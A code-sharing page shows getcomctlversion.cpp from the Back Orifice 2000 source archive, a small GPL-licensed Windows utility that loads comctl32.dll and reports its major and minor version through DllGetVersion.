getcomctlversion.cpp
资源名称:bo2ksrc.zip [点击查看]
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:2k
源码类别:
远程控制编程
开发平台:
WINDOWS
- /* Back Orifice 2000 - Remote Administration Suite
- Copyright (C) 1999, Cult Of The Dead Cow
- This program is free software; you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation; either version 2 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program; if not, write to the Free Software
- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
- The author of this program may be contacted at dildog@l0pht.com. */
- #include <windows.h>
- #include <shlwapi.h>
- int GetComCtlVersion(LPDWORD pdwMajor, LPDWORD pdwMinor)
- {
- HINSTANCE hComCtl;
- DLLGETVERSIONPROC pDllGetVersion;
- DLLVERSIONINFO dvi;
- // Check inputs
- if( IsBadWritePtr(pdwMajor, sizeof(DWORD)) ||
- IsBadWritePtr(pdwMinor, sizeof(DWORD)))
- return -1;
- // Load the DLL
- hComCtl = LoadLibrary("comctl32.dll");
- if(!hComCtl) return -1;
- // You must get this function explicitly because earlier versions of the DLL
- // don't implement this function. That makes the lack of implementation of the
- // function a version marker in itself.
- pDllGetVersion = (DLLGETVERSIONPROC)GetProcAddress(hComCtl, TEXT("DllGetVersion"));
- if(!pDllGetVersion) {
- FreeLibrary(hComCtl);
- *pdwMajor = 4;
- *pdwMinor = 0;
- return 0;
- }
- ZeroMemory(&dvi, sizeof(dvi));
- dvi.cbSize = sizeof(dvi);
- if(!SUCCEEDED((*pDllGetVersion)(&dvi))) {
- FreeLibrary(hComCtl);
- return -1;
- }
- *pdwMajor = dvi.dwMajorVersion;
- *pdwMinor = dvi.dwMinorVersion;
- FreeLibrary(hComCtl);
- return 0;
- }